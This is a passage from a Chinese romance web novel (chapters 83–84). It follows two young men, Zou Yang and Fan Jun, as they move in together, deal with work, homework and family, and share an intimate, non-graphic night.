“没,”邹飏赶紧否认,“没,那么远,我上课不方便。” “我吧,不知道是怎么了,”老妈低下头,轻轻叹了口气,“其实以前跟你也不是总能见得着,但现在就老觉得……” 邹飏没出声,听着她说。 “你长大了,要离开了,”老妈说,“要去过自己的生活了。” 邹飏搂住老妈的肩膀,他知道老妈的这种感觉。 爸爸离开了,去过自己的生活了。 妈妈也离开了,去过自己的生活了。 这种感觉也许不完全一样,但同样的失落纠缠了他很多年。 他不知道要怎么安慰老妈。 他现在也只不过是因为有了樊均,才感觉到缺失的某些东西被填补上了。 “孩子总要长大的啊,”邹飏搂着老妈,轻轻晃着她,“我长大了而已。” “嗯。”老妈点点头。 “等忙完了,我过来吃饭,”邹飏说,“我想吃炖豆腐。” “好,给你做,”老妈笑了笑,想想又拍了拍他的手,“对了,有个事儿忘了问你,你这月是不是还没去拿生活费?” “啊,是,”邹飏这才想起来,老爸一直没给他转账,“我以为他会直接打给我呢,我说了以后我过去就是两个人,他不想看就直接转账。” “他不会的,他那人,”老妈皱着眉,“你越不服,他越想压制你。” “没事儿,”邹飏说,“那我就过去一趟吧,他是不是……给你打电话了?” “是,”老妈一脸不痛快,“也没说什么别的,就感觉有气儿没地儿撒了上我这儿来恶心人。” “是么,”邹飏勾了勾嘴角,“我这两天就过去找他。” “你别惹事啊,”老妈转头看着他,“你以前一个人就算了,现在还带着樊均一块儿……” “樊均多稳啊,你说的。”邹飏说。 “他不稳,我发现了,他跟你在一块儿就不怎么稳了,他都帮你去砸车了!”老妈说着说着就有点儿着急,“你俩别过去打人啊!” 邹飏笑着没说话,看着窗外的樊均。 樊均似乎感觉到了他的视线,转头也看了过来。 邹飏一撅嘴,隔空亲了他一下。 樊均眼睛猛地放大了一圈儿。 邹飏没忍住笑了起来。 樊均迅速转开了头。 老妈莫名其妙地抬头看了看他:“干嘛呢?” “没。”邹飏清了清嗓子。 “行了,”老妈推了推他,“你快出去吧,你杵这儿我看着难受。” “嗯。”邹飏笑着松开老妈,走出了厨房,往樊均身边一站。 “有病吧你。”樊均说。 “喜欢吗?”邹飏问。 “……喜欢。” 第83章 东西都装上了车,老四他们本来还想跟着车送过去,但被樊均拒绝了,那边他也叫了隔壁店里的人帮忙搬上楼。 这东西一装完,人站在车旁边,突然就有了不一样的感觉。 放了学过来凑热闹的孙旭磊,一看东西都装车了,顿时就要哭。 “干什么,”猴儿推了他一下,“樊哥搬个家你还哭上了?” “感觉他不会回来了。”孙旭磊说。 “放你的屁,”猴儿瞪了他一眼,“搬个家,又不是移民!” 猴儿的话是这么说,但眼下这个场景,的确是有些唏嘘。 “放假的时候过去玩,我带你们转转。”樊均拍拍猴儿和孙旭磊。 老四和大头鱼跟樊均说话时也带着怅然。 “还以为你会是我们几个最后留在这儿的呢,”老四拍拍他肩膀,“挺好,你是该出去混混。” “你们有空过去找我。”樊均说。 “那肯定的,”大头鱼说,“等这边儿拆迁了,我搞不好真要去商贸城那边看看。” “提前去踩踩点吧。”樊均说。 邹飏坐在车里,有点儿说不上来什么滋味儿,他对南舟坪到现在也谈不上有多熟悉,路也就认识武馆这一小片儿的,再远了都没去过。 但因为掺杂了感情因素,又实在在这儿经历了太多,现在居然也有种莫名其妙的怅然。 樊均拉开副驾车门坐进了车里,吕叔站在车窗外交待着:“安顿好了跟我说一声。” “嗯。”樊均点点头,冲邹飏说了一句,“走吧。” “走了啊吕叔。”邹飏说。 “哎,开车慢点儿啊。”吕叔说。 车开出去到路口了,旧馆门口那帮街坊还站在那儿。 “他们是还有什么事儿吗?”邹飏问。 “没事儿,”樊均说,“平时也聚不起来这么些人,今天聚上了肯定要聊一会儿,没准儿中午就在院子里吃了。” “挺有意思,”邹飏拐了弯,“你有没有一点儿伤感?” 樊均想了想:“有,但是……” “嗯?”邹飏看了他一眼。 “我一直很害怕离开南舟坪,”樊均说,“但如果一辈子都在这里,又会很绝望。” “我带你走。”邹飏说完踩了一脚油门,车往前冲了出去。 “邹飏!你干什么!”樊均猛地转过头喊了一声。 “哎,刚开到50!”邹飏松了油门,“这条路限速60!” “哦,”樊均看了一眼车窗外面,“那你之前开的多少?加速到50能有推背感……” “不知道,”邹飏说,“二三十吧,我一个新手,不得谨慎点儿吗。” 樊均笑了笑。 商贸城这边帮忙搬东西的是隔壁铜器店的两个员工,先把店里二楼的东西用拖车拉到停车场,再运到租房那儿搬上楼。 这俩帮忙的跟南舟坪那帮街坊不一样,话很少,仿佛请来的搬运工,活儿干得也像搬运工一样熟练,没多大一会儿,东西就都在屋里找到了合适的位置。 两人走的时候说了一句:“有事儿说话。” 邹飏听到这句才确定这的确是樊均叫来帮忙的,不是请的搬运工。 “有点儿样子了。”邹飏站在客厅里,看着四周,屋子房子之前就收拾过,地面墙面什么的都很干净,窗户也都擦好了,这会儿东西一放,立马有了温馨的感觉。 一直躲在猫包里的大黑这会儿也出来了,小心地跳到沙发上检查着。 “嗯,”樊均从厨房出来,手里拿了个拖把开始拖地,“门口那个袋子里是拖鞋,拿出来换上。” “一会儿的。”邹飏站着没动。 “换上,”樊均看了他一眼,“我拖地呢。” “哎!”邹飏喊了一声,“你不也没换吗!干嘛催我换。” “我是退着拖,拖完了换,”樊均说,“你是到处跑。” 邹飏一边换鞋一边看着他拖,感觉单手也挺轻松,不需要他帮忙,于是往沙发上一倒,伸手捞过大黑抱着:“均儿。” “嗯。”樊均应了一声。 “你是不是有点儿洁癖?”邹飏问。 “没有。”樊均说。 “是么?”邹飏晃了晃腿。 “跟你这种东西到处扔的人比可能多少有点儿。”樊均说。 邹飏看了看沙发上自己扔着的外套,还有门后挂钩上樊均的外套,没忍住笑了起来:“哎,我们以后会不会因为这种事儿吵架?” “这有什么可吵的?”樊均问。 “以前有个新闻,说新婚夫妻因为牙膏从哪儿开始挤吵到去离婚。”邹飏笑着说。 “多买一支各用各的不就行了。”樊均说。 邹飏枕着胳膊又叹了口气:“我爸妈也会因为小事儿吵,很小的那种,我还没反应过来,他们莫名其妙就吵起来了。” “我们不会的。”樊均说。 “是么?”邹飏看着他。 “我们不是夫妻。”樊均说。 “……你大爷,”邹飏愣了愣,没忍住笑了起来,“神经病!” “大事儿我吵不过你,小事儿我懒得跟你吵。”樊均说。 邹飏笑着冲他招了招手:“宝贝儿,过来。” 樊均走到沙发旁边:“嗯?” “近点儿。”邹飏伸手。 樊均弯腰靠近他,邹飏手勾着他颈后把他猛地往下一压,吻在了他唇上。 劲儿挺大的,樊均手撑了一下沙发才没整个砸到他身上。 好一会儿邹飏才松了手,手背往嘴上一蹭:“干活儿吧。” 樊均笑了笑,捡起旁边的拖把,接着把地给拖完了:“饿吗?我点外卖。” “你还知道我们没吃午饭啊?”邹飏拿过手机看了一眼时间,“都三点了。” “外卖还是出去吃?”樊均问。 “出去吃,”邹飏坐了起来,“你是不是还要去超市买东西?” “嗯。”樊均点头。 小区外面的小街上很多小店,吃穿用度齐全,比南舟坪那边要繁华得多,一个全新的陌生之地。 这次是两个人。 随便找了个小店吃了份盖饭,邹飏查了一下最近的超市,走过去只要三分钟。 “开车去。”樊均说。 “步行三分钟,大哥,你早上跑步五公里起步,这会儿步行三分钟的路程要开车?”邹飏说。 “扛着东西走三分钟也很烦的。”樊均说。 “……哦,对,”邹飏反应过来,“去超市是要买东西……很多吗?” 是很多。 邹飏虽然一直住校,但宿舍要用的东西无非也就那些,跟租房生活的情况完全不同。 樊均很有条理地从铺盖到油盐酱醋再到各种食物拿了一推车。 回到家里他俩把东西都放好,邹飏再次往沙发上一倒:“累死我了。” “你睡会儿吧,”樊均说,“我得去店里。” “嗯?”邹飏看着他。 “加上今天,请假一星期了,”樊均说,“何川再好说话也是老板啊,这几天挺忙的。” “那你去吧,我眯一会儿要写作业,”邹飏伸手扯过自己的包,拿出电脑放在肚子上,“刘文瑞还等着我拯救他。” “晚饭你过去店里一块儿吃吧?”樊均问。 “不了,”邹飏手指在电脑上弹了一下,“这玩意儿我今天估计得写到半夜,明天就得用……” “那你今天还要跟着去南舟坪?”樊均皱了皱眉。 “理由还要我再重复一遍吗?”邹飏挑了一下眉毛看着他,“说了什么你又不记得了吗?” “……那你写作业,”樊均说,“晚饭我给你送过来。” “嗯。”邹飏又一挑眉毛,男朋友给自己送饭,这感觉很好。 樊均回到店门口的时候,发现平时不会放下来的门帘这会儿是关严的,门上还挂了暂停营业的牌子。 他往面街的窗里看了一眼,何川跟一个光头胖子坐在茶桌前。 而窗边有个穿着黑色外套的大个子正看着他。 谱挺大。 不知道又是个什么老板。 樊均走回店门口,拉开门一掀帘子走了进去。 “干什么的!”帘子后头居然还站着个人,跟窗边那位打扮差不多。 一伸胳膊拦在了樊均胸口,跟着就用胳膊肘把他往外推。 要不是樊均胸口这会儿有支具,这一胳膊肘正好就顶在他伤口上。 樊均顿时有点儿不爽,本来左肩左胳膊一直恢复不了就很不爽,刚取完碎片又被人这么顶一下,就更不爽了。 他右手一抬,架住了这人的胳膊,接着往小臂到手腕一捋,再往下一拧,这人跟着转了半圈,刚想挣扎的时候樊均已经把他往里一推,松了手。 “哎!当心我的货!”何川听到动静的时候回过了头,隔着架子看着这边儿,这人被樊均推开的时候才指着他喊了一声。 樊均手上也没太用劲,这人往前冲了两步停下了。 “这我的人。”何川在这人还想往樊均那边儿去的时候又追了一句。 樊均看了这人一眼,回手把门和帘子重新关好了。 “樊均,”何川叫了他一声,“来,认识一下罗老板,孙老板的朋友。” 樊均走过去,冲光头点了点头:“罗老板。” “不好意思啊,误会,”光头笑了笑,又看向何川,“你保镖?” “哪儿啊,”何川给樊均倒了杯茶,示意他坐下,“我可没您这么值钱,配不上保镖,我顶多请个保洁阿姨……这我散打教练,樊均,在这儿给我帮帮忙。” “哦……”光头打量着樊均,“有两下子啊,我这两个保镖,也是练家子。” 练什么了?练哪家子了? 邹飏都能给他俩一块儿放倒。 “是挺……厉害的。”樊均强行赞扬了一句。 “能在他们手底下走两招,你这教练不错。”光头点头。 这位老板你再说一遍? 樊均笑了笑,话都懒得再接了。 何川继续跟光头聊着,樊均一边喝茶一边听着。 在这儿上班最有意思的,就是能看到各种奇妙的人,比在武馆工作的时候见过的要奇妙得多。 听了一会儿基本能判断出来了,这是个迷信的,胆小的,干过不少亏心事的,一边包养情人一边担心情人偷他命的,有点儿钱的老板。 何川非常喜欢的那种老板,连蒙带吓能把店里不少看走眼收回来的赔钱玩意儿都推销出去,看他那俩空有一身膘的保镖就知道他很好骗。 何川为钱聊天的时候是个很会聊的人,光头跟他聊得很过瘾,一时半会儿不会走,樊均起身去把狗遛了,准备一会儿带走。 又去二楼把一些没拿的零碎收拾了。 准备走的时候光头喊了一声:“樊教练留步,一块儿吃饭啊。” “他不去了,”何川说,“一会儿店里得有人,我这小买卖,可不像您那儿有那么多人手。” “嗨,”光头摆摆手,“也不行。” 樊均在小区外面的餐馆打包了几个菜,带着小白回了家。 打开门的时候,他很震惊地看到邹飏摊在沙发上睡得正香,肚子上还放着电脑,姿势跟他走的时候一模一样,就是腿边多了个也正在睡觉的大黑。 他走过去摸了摸电脑,冰凉。 邹飏从他去店里到现在一直在睡觉。 作业看来是一个字儿没写! 虽然他在二十一中上了六年学,写过的作业加一块儿也没几次,但邹飏上的可不是二十一中,邹飏上的是正经大学。 这作业不写应该不行。 “哎!”樊均也顾不上别的了,伸手就在邹飏脸上一通拍,“邹飏!” “啊……”邹飏皱着眉头,抬手在空中挥舞着打开他的手,然后抱着电脑翻了个身。 “作业!起来写作业!”樊均把餐盒放到桌上,“白,叫小飏哥哥起来写作业。” 小白立马扑过去,把爪子拾到邹飏胳膊上,一下下地按着,时不时还很低地吼一声。 樊均进厨房把打包的饭菜都用盘子装好拿回客厅的时候,邹飏总算是醒了,摸着小白的脑袋一脸迷瞪。 “白啊……乖。”他打了个呵欠,看着樊均,“吃饭了吗?” “嗯,”樊均回头看了他一眼,“你作业写完了吗?” 邹飏看着他,没说话,也没动。 过了能有十秒才开口说了一句:“操。” “赶紧吃饭,吃完了写。”樊均说。 “刘文瑞要杀了我,”邹飏赶紧起身去洗了个脸,坐到了桌子旁边,“你怎么不叫我。” “我也不知道你能一直睡到现在啊?”樊均说。 “你为什么不知道?”邹飏说。 “啊?”樊均愣了。 “你对你男朋友这么不了解吗?”邹飏又说。 “……现在了解一些了,”樊均冲他竖了竖拇指,“不讲理这一条,至少在你们宿舍排第一。” 邹飏叹了口气,端起碗扒拉了两口米饭:“没事儿,大不了晚点儿睡。” “嗯。”樊均把一盘酸菜排骨推到他面前,“这个好吃。” “没事儿,大不了不睡,”邹飏夹了一块排骨,“嗯,好吃!” “喝饮料吗?”樊均问。 “椰子水谢谢。”邹飏说。 樊均刚要起身去拿,他已经站了起来:“我自己吧,你坐着。” “椰子水谢谢。”樊均笑笑。 邹飏拿了两瓶椰子水,拧开瓶盖,放了一瓶在他手边:“一会儿还去店里吗?” “不一定,”樊均说,“何川今天来了个大客户,估计吃完饭还得陪聊,那人还不让别的客人进店。” “这么大派头?”邹飏啧了一声,“别聊了一夜就买个二百块的瓶子。” “不会,不愿意花钱的聊天不是这么聊的。”樊均说。 “挺了解?”邹飏看着他。 “毕竟也在店里干了这么长时间了,”樊均说,“什么样的人差不多都见过点儿。” “你有换工作的打算吗?”邹飏边吃边问。 “暂时没有,现在这活儿也上手了,钱也还行,”樊均喝了口椰子水,“怎么?” “没,就问问。”邹飏说。 “你有什么想法吗?”樊均也看着他。 “没有,我本来也是觉得先干着挺好的,”邹飏说,“你……” 他扫了一眼樊均的左手:“能恢复的话,还考虑做教练吗?” “那就得看到时这儿干得怎么样了。”樊均说。 “嗯。”邹飏点点头。 吃完饭歇了一会儿,樊均给何川打了个电话,光头果然没走,直接在店里吃的,何川把老孙也叫来了,这种情况下,一般就不需要樊均过去了。 很多生意的细节,何川都是自己掌握。 邹飏把吃完的碗筷收拾了拿去洗,樊均坐在客厅里,左手拿着个握力球,一下下捏着,听着碗筷们在洗碗池里跌跌撞撞生活不易的动静。 有点儿后悔,今天就多余把饭菜从餐盒换成盘子。 拼搏了十多分钟,邹飏回到了客厅,往他旁边一倒,抱过了电脑:“我要开始写作业了。” “嗯,”樊均捏了捏球,“不去桌子那儿吗?” “就这样。”邹飏打开电脑,盘腿坐在沙发上。 “要我……走开吗?”樊均问。 “你在旁边陪我。”邹飏伸手在他腿上摸了摸。 “……怎么陪?”樊均看着他的手。 邹飏转头看了他一眼,笑着说:“正经陪!” “嗯。”樊均靠到沙发里,“我能看个电影吗?” “戴耳机。”邹飏说。 “好。”樊均点点头。 邹飏虽然因为睡觉睡得忘了作业,但这会儿开始写的时候,非常认真。 樊均随便点开了个电影,拿着手机却也并没有看,他靠着沙发扶手,看着邹飏的侧脸,和他在键盘上飞快敲打着的修长手指。 看得出来,这个作业不是随便抄抄就能写的,邹飏时不时会皱起眉头,盯着屏幕愣挺长时间,还会时不时切出去点开各种资料来回看。 不知道为什么,这种状态下的邹飏…… 很性感。 空白的屏幕上慢慢多了很多字,还有不少图表,方框框圆框框。 一部电影放完了,邹飏还在写。 樊均随便又点了一部,开始播放了才发现就是之前打开的那部,于是又退出去重新点了一次。 “渴了。”邹飏说。 樊均没听到声音,但看到了口型。 “想喝什么?”樊均摘了耳机,站了起来。 “白水就行。”邹飏说。 樊均拿了瓶水递到了他手上:“要休息一会儿吗?” “不,一休息就不想动了,肯定马上睡着,”邹飏仰头灌了口水,“差不多了,再有半小时吧,你先洗漱。” 樊均进了浴室,拆掉支具,往伤口上贴了一片防水膜,洗了个澡。 一星期没好好洗过澡,本来也没觉得太难受,但这么冲着水的时候,才猛地感觉一阵痛快。 洗完澡回到客厅,邹飏正在跟刘文瑞打电话:“你大概看一遍,有什么没明白的明天我到学校了跟你讲……嗯,行。” “写完了?”樊均问。 “嗯。”邹飏把电脑一合,扔到沙发上,跳起来先冲到他身边往他脸上亲了一口,接着跑进了浴室,“床上等我。” “什么?”樊均愣了愣。 邹飏围着浴巾跑回卧室的时候,樊均正靠在床头看着手机。 他把浴巾一扔,扑到了床上:“哎!” 樊均看了他一眼:“抽屉里有内裤……” “嗯……”邹飏趴着没动,脸埋在被子里应了一声。 樊均把视线从他身上移开,下床去给他拿了内裤,回头给他的时候,发现这人已经睡着了。 床上等我。 等什么。 看你表演秒睡。 “邹飏,”他站在床边,有些无语,“你真牛逼啊。” 把邹飏拽到枕头上躺好,再把被子扯出来给他盖上,全程邹飏都没醒过。 樊均关掉了灯,躺到床上,闭上眼睛,叹了口气。 算了。 今天搬家这一通折腾其实挺累的,他这么一躺下,听着耳边邹飏平稳舒缓的呼吸声,居然慢慢也感觉到了困意。 堂堂年轻人,居然在这种情况下困了。 还在不知道什么时候睡着了。 身边的邹飏很突然地在床上挣扎了两下,他才猛地惊醒,回手一把搂住了邹飏。 “邹飏?”他在邹飏绷得很紧的背上一下下拍着,“邹飏,没事儿了,没事儿……” 邹飏呼吸很急,整个人都是僵硬的。 过了好一会儿才慢慢缓了过来,声音里带着迷糊:“我可能……做梦了。” “嗯,是,”樊均在他背上用力搓着,“醒了就没事儿了。” 邹飏没说话,靠在他身边,还有些许不稳的呼吸扑在他脸上。 “没事儿,”樊均在他脑门上亲了一口,“接着睡吧。” 邹飏没出声,手突然伸了过来,摸到了他小腹上。 “嗯?”樊均愣了愣。 邹飏的手往下,指尖勾着他裤腰拽了拽,声音很低地在他耳边说了一句:“脱了。” 第84章 邹飏低沉的声音里带着些没完全睡醒的沙哑,像一把带着细小软钩的刷子,顺着他耳边轻轻向身体深处扫去。 已经随着身体睡去的某些想法,又跟着身体一同苏醒。 但樊均并不确定,他抓住了邹飏的手:“邹飏?” “嗯?”邹飏把脸埋在他颈侧蹭了蹭。 “你……”樊均有点儿想把手机拿过来,看看现在几点。 “我做了个噩梦,”邹飏声音还是很低,“要压压惊。” 樊均一时之间不知道该说什么,脑子里嗡嗡响着。 “你松手啊,”邹飏说,“你可有伤,万一我来硬的再给你伤口弄裂了。” 樊均能感觉到邹飏的脉搏,就在他按在邹飏手腕内侧的指尖下跳动着……他松手之后,指尖似乎还能感觉到隐隐的颤动。 邹飏的手勾着他裤腰往下拽,有点儿着急,有点儿粗暴,贴着他耳边的喘息跟着动作微微起伏。 “……我来。”樊均说。 早知道不穿了。 邹飏整个人贴上来的时候,皮肤像着了火,烧得四周的空气都带上了灼热的气流。 樊均把还盖在身上的薄被掀到了旁边。 左胸的伤的确是用不上劲了,他只能用右手往邹飏的腰上抓了一把,挺用力的,感觉指尖都嵌进了紧实的肌肉线条里。 邹飏很低地哼了一声,环绕在他耳边的呼吸突然远离,跪跨在他腰上直起了身。 低头看着他的同时,抓住了他的手腕。 从腰际向前,再带向下方…… 客厅透进来的微光映在邹飏身上,淡淡的光晕勾勒出身体的轮廓,从小腹,到腰间,到胸口。 视线向上,欲望向下…… 邹飏抬了抬头,闭上了眼睛。 耳边很静,交织的呼吸,摩擦的皮肤,每一丝微小的声响都随着心跳被放大,黑暗里震耳欲聋。 他微微向后仰了仰身体,手也探向身后,指尖轻点,落在樊均小腹上。 能感觉到随着指尖轻移一点点绷紧的皮肤…… 别停。 他一时间分不清这是自己心里的渴望,还是樊均的低语。 …… 邹飏还是仰着头,猛地吸了一口气,缓缓吐出来,颈侧的血管一下下清晰地搏动着。 没等他缓过来,樊均反手扳着他的腰,把他掀倒在了床上。 紧跟着一个翻身,狠狠贴紧,一口咬在了邹飏肩上。 邹飏很轻地“嘶”了一声。 这声音很快被樊均堵在了唇间,呼吸卷起的风扫掉了所有声响…… 邹飏睁开眼睛,看着天花板上细细的一条夜灯的光。 “樊均,你大爷。”他说。 “嗯?”樊均慢慢地翻身躺到了他身边。 “你大爷的你咬我。”邹飏说。 “疼吗?”樊均伸手摸了摸他的肩,轻声问。 “不知道,”邹飏说,“我现在好像没什么感觉。” “我给你咬瘫了吗?”樊均在他肩上又仔细地摸了摸,还仔细地看了看指尖,“没出血。” 邹飏笑了起来,过了一会儿才又问了一句:“几点了?” “不知道,”樊均往枕头边摸过去,找到手机,“感觉天快亮了。” “我操,那不行,”邹飏皱了皱眉,“我还没睡呢!” “五点刚过,”樊均看了一眼手机,坐了起来,从床头抽了纸巾擦了擦手,“收拾一下,你还能睡俩小时。” “不够,一晚上才睡俩小时会死的。”邹飏闭上眼睛。 “你前面睡的不算吗?”樊均又抽了几张纸巾,拉过他的手擦着。 “我两点才睡的……”邹飏有些绝望,不过还是感觉到了樊均拉着他的左手有些抖,他偏过头看了一眼,“你手没事儿吧。” “手没事儿,”樊均说,“是伤口有点儿疼。” “我靠,”邹飏顿时紧张了,一下弹了起来,打开了床头灯,“我看看。” 樊均偏了偏头,避开突然亮起的灯光:“……看什么?” 看什么。 樊均胸口上的伤被绷带包着,什么也看不出来,倒是滚得乱七八糟的床和……坦诚相见的他俩看得一清二楚。 邹飏赶紧把灯又关掉了。 收拾完回到床上,邹飏重新躺回枕头上,感觉到了比之前更强烈的困意。 “我是真困了啊,又累又困的。”他闭上眼睛,“本来写完作业就又累又困了,结果……现在更是又累累累又困困困了……” “赶紧睡,再念叨几句天亮了,”樊均伸手捂住他的嘴,“放心睡,早上我叫你。” “嗯。”他应了一声。 樊均的生物钟似乎不太会被影响,早上被他叫醒的时候,邹飏感觉他是不是根本就没睡。 五点多睡,七点多邹飏被他叫醒的时候,他连狗都已经遛完了。 “你不困吗?”邹飏几乎是半眯着眼睛洗漱完再半眯着眼睛扶着墙回到客厅的。 “困,”樊均说,“一会儿我去店里可以接着睡。” “我靠,”邹飏想起了店里窗边那张躺椅,“我有点儿不平衡了……” “睁开眼睛就平衡了,”樊均拍了他一下,提高声音,“你现在不是在宿舍,去你们学校得四十多分钟,收拾东西!赶紧的!” “你送我吗?”邹飏把东西塞进包里。 “不送,你跑过去吧。”樊均把他外套递了过来。 “我还没吃早餐。”邹飏穿上外套。 “给你买了,拿着路上吃吧,”樊均抓过桌上的一个袋子塞到他手里,“真的,猴儿那么不爱上学都没有你这么烦人。” “你上学的时候呢?”邹飏笑笑,打开袋子就闻到了千层饼的香味儿,还有一瓶牛奶。 “我上学就默默去上了,路上吃点儿东西,”樊均说,“不过从吕叔家走到二十一中也就十分钟不到。” “我其实也差不多,”邹飏背上包,抱住樊均,“没人接,没人送,自己买早餐,有时候刘文瑞他妈妈会做,一般会让刘文瑞给我带一份……” 樊均抱着他,在他背上轻轻拍着。 “我那会儿……特别羡慕他,”邹飏小声说着,“他妈妈要是我妈妈就好了……别跟我妈说啊,她得伤心死。” “嗯,不说。”樊均说。 “其实现在也还是羡慕,”邹飏笑笑,“但我妈能只是我妈,不过我妈不打我,刘文瑞一直被他妈揍。” “嗯,”樊均抱着他往门边带,“路上说,要迟到了……你话怎么这么多……” “怎么,人两个耳朵听的都没嫌我话多呢。”邹飏说。 “操。”樊均笑了起来。 “没生气吗?”邹飏松开他,打开门走了出去。 “没,”樊均说,“你是觉得我脾气不好吗?” “看人吧。”邹飏说。 “嗯。”樊均点点头。 在车上吃东西这种行为,以前在家里是绝对不允许的,没教养,没规矩。 到现在邹飏都感觉自己在车上吃东西时多少带着点儿报复心态。 不过今天这个早餐吃得很舒服,很安心。 樊均没再戴支具,正常的活动也看不太出来他胸口上还有伤,不知道他是真的因为身体素质好还是因为能忍。 “你那个伤口,”邹飏边吃边看着樊均,“如果一直疼,就得去医院找医生看看。” “嗯,有点儿牵拉疼,表皮伤口没多大,但里面创口多,”樊均说,“现在已经不怎么疼了。” 邹飏点点头,继续吃饼,樊均没有直接说没事儿,进步很大了。 到学校的时候邹飏直接去了教室,老远就看到刘文瑞站在教室门口。 “不冷啊,在这儿杵着干嘛。”邹飏问。 “怕你来不了。”刘文瑞说。 “来不了你就直接上去讲呗,”邹飏说,“就说因为你一字没动你搭档为了写这玩意儿累死了。” “你大爷的你是累死的吗你是被你舌头绊死的!”刘文瑞进了教室,“所以也的确不能让你去讲,万一讲急眼了把老师再骂一顿。” “神经病。”邹飏笑了起来。 虽然是连夜赶出来的活儿,但并不糙。 邹飏从小被老爸逼着,在学习上还是有一定优势,光是专注力这一点就能秒杀宿舍这几位包括最靠谱的李知越。 刘文瑞别的不行,口条还是利索的,讲得也挺好,看得出来虽然没动手写,但昨天晚上是认真看了的。 上去一讲,效果居然还不错,得到了老师的称赞。 “要说邹飏还是牛逼,一边谈恋爱一边还能学习,”刘文瑞感慨着,“不像我,为了学业,选择了单身。” “一想到将来我孩子的老师可能就是这玩意儿,”李知越扫了刘文瑞一眼,“我都想选择单身了。” “伤我心了啊!”刘文瑞说。 “是哪天去听课啊?”张传龙突然问了一句。 “后天,星期五。”李知越说。 “知道去哪个学校了吗?”刘文瑞问。 “七中吧,咱们学校一直跟七中合作。”李知越说。 “我靠,”刘文瑞转头看着邹飏,“七中。” 邹飏也愣了愣,邹天瑞就在七中上学,今年应该是上高一了。 “应该不会碰上吧?”刘文瑞说。 “谁?”张传龙问。 “他渣爹的女儿。”刘文瑞说。 “碰上算她倒霉。”张传龙恶狠狠地说了一句,捏了捏手指。 “你干嘛?”李知越看着他,“什么精神错乱的状态,你知道说的什么吗?” “不知道,没听,”张传龙还是恶狠狠,“喝奶茶吗我请客。” “哟?”邹飏有些意外。 “喝。”李知越和刘文瑞同时开口。 “有一家新开的奶茶店,”张传龙说,“我看朋友圈里有人发了,柠檬水一块九,走,请你们喝。” “……你真会挑。”邹飏说。 这个新开的奶茶店,不在校门附近,是在学校后面的小吃店。 不算近,但也不能说远,平时过去吃个饭也就是几个人慢慢遛达过去。 但今天走到一半,邹飏就感觉有点儿远了。 熬夜写完作业就应该好好休息!明明白天搬家折腾了半天就挺累的!人家都是泡暖才思淫欲,半夜睡都睡饿了还思…… “就那家。”张传龙开心地往前一指。 邹飏扫了一眼,不大的门脸儿,大概因为打折,人还挺多的,基本也都是他们学校的学生。 这附近要想知道哪儿打折哪儿优惠,就看哪儿挤了一堆他们的同学就行了。 “四杯柠檬茶!”张传龙说。 “我不要柠檬茶,”邹飏说,“你要不请我我就自己买了。” “请,”张传龙啧了一声,“喝什么,说。” 邹飏在灯牌上看到了熟悉的东西:“热姜奶。” 刘文瑞和李知越立马跟着也改了,要喝姜奶。 姜奶不打折,但价格也不贵,还买二送一,也还行,头疼的是张传龙也突然放弃了柠檬茶…… “两个买二送一,就多出来两杯啊,”他皱着眉,“多出来的给谁啊……” “……你怎么算的账?”刘文瑞问,“你退学吧。” “别算了,”吧台后面有人说了一句,“给你们多送一杯,买二送二。” “好!”张传龙先应了一声,然后才问,“为什么?” 吧台后面站着的一个姐姐笑了笑:“我认识你们啊。” “嗯?”刘文瑞愣了愣,盯着姐姐看了一会儿,接着就猛地一拍邹飏,“是不是樊均他们楼下那个奶茶店的姐啊!” “还真是……”邹飏也认出了这个姐姐,有些震惊,“你还记得我们?” “一次五杯肯定记得啊,”姐姐一边给他们做姜奶一边笑着说,“我那会儿还是第一次同时做那么多杯呢。” “你在这儿开分店了?”邹飏问。 “那边不开了,”姐姐说,“现在就在这里。” “我们这儿生意好吧?”李知越问,“学生多。” “还行,”姐姐笑着点点头,又看了看邹飏,“那个教练,你们一起的吧,他们那个武馆还在吗?” “也换地方了。”邹飏说完突然有些感慨。 他对商场那儿的人也不熟,也就武馆,舞蹈室,旁边的母婴店和楼下这个奶茶店,现在那儿只剩了蓉主席和母婴店了…… 人生这一路的聚聚散散,在没有人觉察的角落里,就这么上演着,等你注意到的时候,很多人和事,已经没有痕迹了。 如果当初……还好。 他低头迅速地给樊均发了个消息。 【邹yang】小均均 【樊】? 【樊】你谁 【邹yang】你男朋友 【樊】怎么了大羊羊 【邹yang】给你看个店 邹飏退后两步,拍了张照片,拍的时候姐姐还笑着比了个V。 照片发给樊均之后,樊均几乎是秒回。 【樊】这不是以前商场楼下奶茶店吗,还有那个姐姐,这是在哪 【邹yang】在我们学校旁边,是不是很神奇 【樊】是啊 【邹yang】你下次接我下课的时候带你来喝 【樊】土豆泥还没带我吃呢 【邹yang】你还没请张传龙吃大餐呢 【樊】差点忘了,你定个时间吧 【那个人】你明天下午到我公司这边来吧 【邹yang】那就明天吧男 邹飏这句话还没打完,猛地发现点进的对话框不是樊均的。 “那个人”是他给老爸的备注。 他赶紧把对话框里的内容给删了。 虽然为了让老爸不痛快,他是完全不介意带着樊均上门招摇过市的,但这种亲密小对话发给了老爸,会连自己一块儿恶心到。 不过明天下午去找老爸要钱的话,吃饭可能就得换一天。 “星期五呗,”李知越说,“正好见习完了我们一块儿,让樊均去七中那边儿,好吃的也不少。” “行。”邹飏点点头。 “怎么你爹不让你上家里去了?”刘文瑞抓住了重点。 “谁知道呢,”邹飏说,“上回气着了吧。” “他不像是被气着一次就让步的人啊,”刘文瑞捏了捏下巴,“嗯……不会是有什么家丑不好外扬了吧。” “嗯……”邹飏突然愉快起来,也捏了捏下巴,“这不得赶紧去打探一番啊。” “怎么打探?”樊均坐在副驾,“我现在上楼去他们公司吗?” “你神经病吧那叫打探吗那叫踢馆。”邹飏笑了起来,扶着方向盘,看着那边大厦的出口,老爸的公司就在楼上,他们约了见面的地方是街对面的一个茶馆。 “走吧,先进去找个方便观察的位置。”樊均下了车。 “嗯。”邹飏跟着也跳下车,“观察什么呢?” “不知道,”樊均说,“你反正不就是想玩嘛。” 邹飏笑着看了他一眼:“这么了解我。” “这两天抓紧了解了一下,”樊均说,“怕有人又说我不了解我男朋友。” 邹飏啧了一声。 他俩进了茶馆,找了个靠窗的位置。 这个店主要是卖茶叶,像他们这种喝茶的不多,统共也没几张桌子,好在这会儿没什么人。 “二位喝点儿什么茶?”一个服务员过来问了一句。 “按邹总的习惯上吧,”邹飏说,“我们没所谓。” “好的。”服务员说完就走开了。 没多大一会儿,邹飏就看到老爸从对面街走了过来。 “那个女的,”樊均说,“跟他一块儿的。” 